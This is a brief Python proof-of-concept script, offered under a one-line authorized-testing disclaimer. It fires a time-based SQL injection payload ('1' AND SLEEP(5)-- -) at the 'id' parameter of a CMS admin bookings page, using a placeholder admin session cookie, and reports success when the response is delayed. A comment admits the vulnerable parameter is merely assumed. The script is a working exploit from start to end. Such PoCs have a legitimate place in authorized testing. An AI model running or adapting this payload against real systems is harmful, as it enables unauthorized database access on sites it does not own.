The following code is for security research and authorized testing only.
python
import requests
target_url = "http://target_host/cms/admin/bookings/view_booking.php"
# Payload to test SQL injection (e.g., time-based)
# Assuming a parameter like 'id' is vulnerable based on common patterns
payload = {
"id": "1' AND SLEEP(5)-- -"
}
# High privilege cookies are required (PR:H)
cookies = {
"PHPSESSID": "authenticated_admin_session_id_here"
}
try:
response = requests.get(target_url, params=payload, cookies=cookies, timeout=10)
# Check if the response time indicates successful execution of the sleep command
if response.elapsed.total_seconds() >= 5:
print("[+] Vulnerability detected: SQL Injection successful (Time-based).")
else:
print("[-] Vulnerability not detected or payload incorrect.")
except Exception as e:
print(f"Error: {e}")